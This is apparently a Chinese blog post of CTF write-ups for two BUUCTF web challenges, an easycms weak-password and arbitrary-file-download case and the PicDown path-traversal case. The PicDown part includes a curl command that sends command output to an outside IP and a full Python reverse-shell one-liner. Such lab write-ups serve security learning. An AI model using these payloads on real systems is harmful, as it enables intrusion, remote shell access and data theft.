BUUCTF(24)

304 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[GKCTF 2021]easycms

任意文件下载

进去就是一个类似企业的官网

该类题我都先扫描一下目录

kali扫一下

发现/admin.php

因为题目hint是后台密码为弱口令五位,盲猜12345用户名admin

进入后台,找了一会没发现啥可利用点

然而我在导出主题的时候发现下载链接

http://07ffb660-1dec-4844-a5e8-598d40d675a0.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMi56aXA=

后面是base64编码

/var/www/html/system/tmp/theme/default/2.zip

那我们是不是可以直接利用这个下载flag呢

假设一下flag在根目录

&theme=base64(/flag)   //L2ZsYWcg

我们试一下

http://07ffb660-1dec-4844-a5e8-598d40d675a0.node4.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
flag{c76249ce-00b2-47af-b0e7-beb62ef170da}

很惊讶任意文件下载可以这么利用,学到了学到了

之后看到大佬们博客还有另外两种方法(而且还更简单),这里简单说一下

1.编辑模板文件直接rce

即在主题自定义里可以直接添加php代码cat flag

2、文件上传+模板

后台地址admin.php扫描出来,然后弱口令admin/12345登录后台。

编辑模板处可以添加php头,但是需要在system的tmp目录下有某个txt才会生效

上传组件素材的地方通过修改名称可导致目录穿越创建文件至system目录

保存成功后即可保存另外一个模板文件,即可rce

学费了学费了

[网鼎杯 2020 白虎组]PicDown

进去后只有一个输入框

传个值进去,发现URL很有趣

http://30626b6b-0584-4963-adc4-9a93206e69f1.node4.buuoj.cn:81/page?url=123

我们根据url看看是否能够文件读取

测试了一下

?url=../../../../../etc/passwd

还真可以

那试试能读flag吗

../../../../../flag

flag{d851e218-f2e4-4e23-9e0c-6f46dfa9c17a}

但感觉比赛题应该没这么简单,去看了下wp发现果然是题目漏洞

正确的做法应该是

读取这些

/proc/self/environ
/proc/self/cmdline
 读一下/proc/self/cwd/app.py 

发现代码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib


app = Flask(__name__)


SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)




@app.route('/')
def index():
    return render_template('search.html')




@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)




@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"


    return res




if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)
//简单审计一下,密钥在/proc/self/fd/3里面读到,然后传入密码和shell,就可以执行了

网上看大佬们有两种解法

1.curl反弹shell

?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=curl 118.***.***.***/`ls /|base64`

因为结果里有换行,日志里只能显示第一行的内容,所以还要base64加密一次

2.直接python反弹shell:

?key=YBb%2FolIX5h4ChHDJYy%2BhypD0MtKjJyIs3fI3Jbma1SY%3D&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后直接读flag就可以了